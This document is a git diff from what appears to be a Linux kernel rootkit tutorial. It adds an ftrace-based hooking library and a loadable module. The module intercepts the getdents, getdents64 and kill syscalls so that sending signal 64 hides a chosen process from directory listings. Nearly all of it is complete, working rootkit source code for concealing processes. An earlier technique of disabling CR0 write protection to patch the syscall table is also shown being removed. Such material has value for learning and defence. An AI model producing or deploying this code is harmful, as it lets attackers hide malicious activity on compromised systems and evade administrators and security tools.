diff --git a/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h new file mode 100644 index 0000000..f3a0171 --- /dev/null +++ b/3_RootkitTechniques/3.5_hiding_processes/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c index b143878..c039bb6 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c +++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c @@ -4,159 +4,406 @@ #include #include #include -#include +#include + +#include "ftrace_helper.h" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); -MODULE_DESCRIPTION("Hiding processes"); -MODULE_VERSION("0.01"); +MODULE_DESCRIPTION("Hiding files that start with a certain prefix"); +MODULE_VERSION("0.02"); -static unsigned long * __sys_call_table; - -typedef asmlinkage long (*orig_getdents64_t)(const struct pt_regs *); -typedef asmlinkage long (*orig_kill_t)(const struct pt_regs *); -orig_getdents64_t orig_getdents64; -orig_kill_t orig_kill; +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif /* Global variable to store the pid that we are going to hide */ char hide_pid[NAME_MAX]; -/* This is our hooked function for sys_kill */ -asmlinkage int hook_kill(const struct pt_regs *regs) -{ - pid_t pid = regs->di; - int sig = regs->si; - - if ( sig == 64 ) - { - /* If we receive the magic signal, then we just sprintf the pid - * from the intercepted arguments into the hide_pid string */ - printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); - sprintf(hide_pid, "%d", pid); - return 0; - } - - return orig_kill(regs); -} +/* We now have to check for the PTREGS_SYSCALL_STUBS flag and + * declare the orig_getdents64 and hook_getdents64 functions differently + * depending on the kernel version. This is the larget barrier to + * getting the rootkit to work on earlier kernel versions. The + * more modern way is to use the pt_regs struct. */ +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_getdents64)(const struct pt_regs *); +static asmlinkage long (*orig_getdents)(const struct pt_regs *); +static asmlinkage long (*orig_kill)(const struct pt_regs *); /* This is our hooked function for sys_getdents64 */ asmlinkage int hook_getdents64(const struct pt_regs *regs) { - // int fd = regs->di; - struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; - // int count = regs->dx; + /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ + // int fd = regs->di; + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + // int count = regs->dx; - struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; - unsigned long offset = 0; + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; - int ret = orig_getdents64(regs); - dirent_ker = kzalloc(ret, GFP_KERNEL); + /* We first have to actually call the real sys_getdents64 syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents64(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); - if ( (ret <= 0) || (dirent_ker == NULL) ) - return ret; + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; - long error = copy_from_user(dirent_ker, dirent, ret); - if (error) - goto done; + /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; - while (offset < ret) - { - current_dir = (void *)dirent_ker + offset; + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; - /* We also have to check that the hide_pid string isn't empty! */ - if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0 ) ) - { - printk(KERN_INFO "rootkit: hiding directory %s\n", hide_pid); - if ( current_dir == dirent_ker ) - { - ret -= current_dir->d_reclen; - memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); - continue; - } - previous_dir->d_reclen += current_dir->d_reclen; - } - else - { - previous_dir = current_dir; - } + /* Compare current_dir->d_name to hide_pid - we also have to check that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } - offset += current_dir->d_reclen; - } + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } - error = copy_to_user(dirent, dirent_ker, ret); - if (error) - goto done; + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; done: - kfree(dirent_ker); - return ret; + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) +/* This is our hook for sys_getdetdents */ +asmlinkage int hook_getdents(const struct pt_regs *regs) { - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); + /* The linux_dirent struct got removed from the kernel headers so we have to + * declare it ourselves */ + struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; + }; + + /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ + // int fd = regs->di; + struct linux_dirent *dirent = (struct linux_dirent *)regs->si; + // int count = regs->dx; + + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; + } -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) +/* This is our hooked function for sys_kill */ +asmlinkage int hook_kill(const struct pt_regs *regs) { - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); + pid_t pid = regs->di; + int sig = regs->si; + + if ( sig == 64 ) + { + /* If we receive the magic signal, then we just sprintf the pid + * from the intercepted arguments into the hide_pid string */ + printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); + sprintf(hide_pid, "%d", pid); + return 0; + } + + return orig_kill(regs); +} +#else +static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count); +static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent *dirent, unsigned int count); +static asmlinkage long (*orig_kill)(pid_t pid, int sig); + +static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) +{ + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents64 syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents64(fd, dirent, count); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } -static inline void unprotect_memory(void) +static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count) { - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); + /* This is an old structure that isn't included in the kernel headers anymore, so we + * have to declare it ourselves */ + struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[]; + }; + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; + + /* We first have to actually call the real sys_getdents syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by hide_pid. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents(fd, dirent, count); + dirent_ker = kzalloc(ret, GFP_KERNEL); + + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */ + if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) ) + { + /* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find hide_pid in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } +asmlinkage int hook_kill(pid_t pid, int sig) +{ + if ( sig == 64 ) + { + /* If we receive the magic signal, then we just sprintf the pid + * from the intercepted arguments into the hide_pid string */ + printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid); + sprintf(hide_pid, "%d", pid); + return 0; + } + + return orig_kill(pid, sig); +} +#endif + +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), + HOOK("sys_getdents", hook_getdents, &orig_getdents), + HOOK("sys_kill", hook_kill, &orig_kill), +}; + /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; - /* Grab the function pointer to the real sys_getdents64 syscall */ - orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; - orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; + printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: getdents64 @ 0x%lx\n", orig_getdents64); - printk(KERN_DEBUG "rootkit: kill @ 0x%lx\n", orig_kill); - - unprotect_memory(); - - printk(KERN_INFO "rootkit: hooking getdents64 syscall\n"); - printk(KERN_INFO "rootkit: hooking kill syscall\n"); - /* Patch the function pointer to sys_getdents64 with our hook instead */ - __sys_call_table[__NR_getdents64] = (unsigned long)hook_getdents64; - __sys_call_table[__NR_kill] = (unsigned long)hook_kill; - - protect_memory(); - - return 0; + return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring getdents64 syscall\n"); - printk(KERN_INFO "rootkit: restoring kill syscall\n"); - __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; - __sys_call_table[__NR_kill] = (unsigned long)orig_kill; - - protect_memory(); - - printk(KERN_INFO "rootkit: Unloaded :-(\n"); + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); + printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init);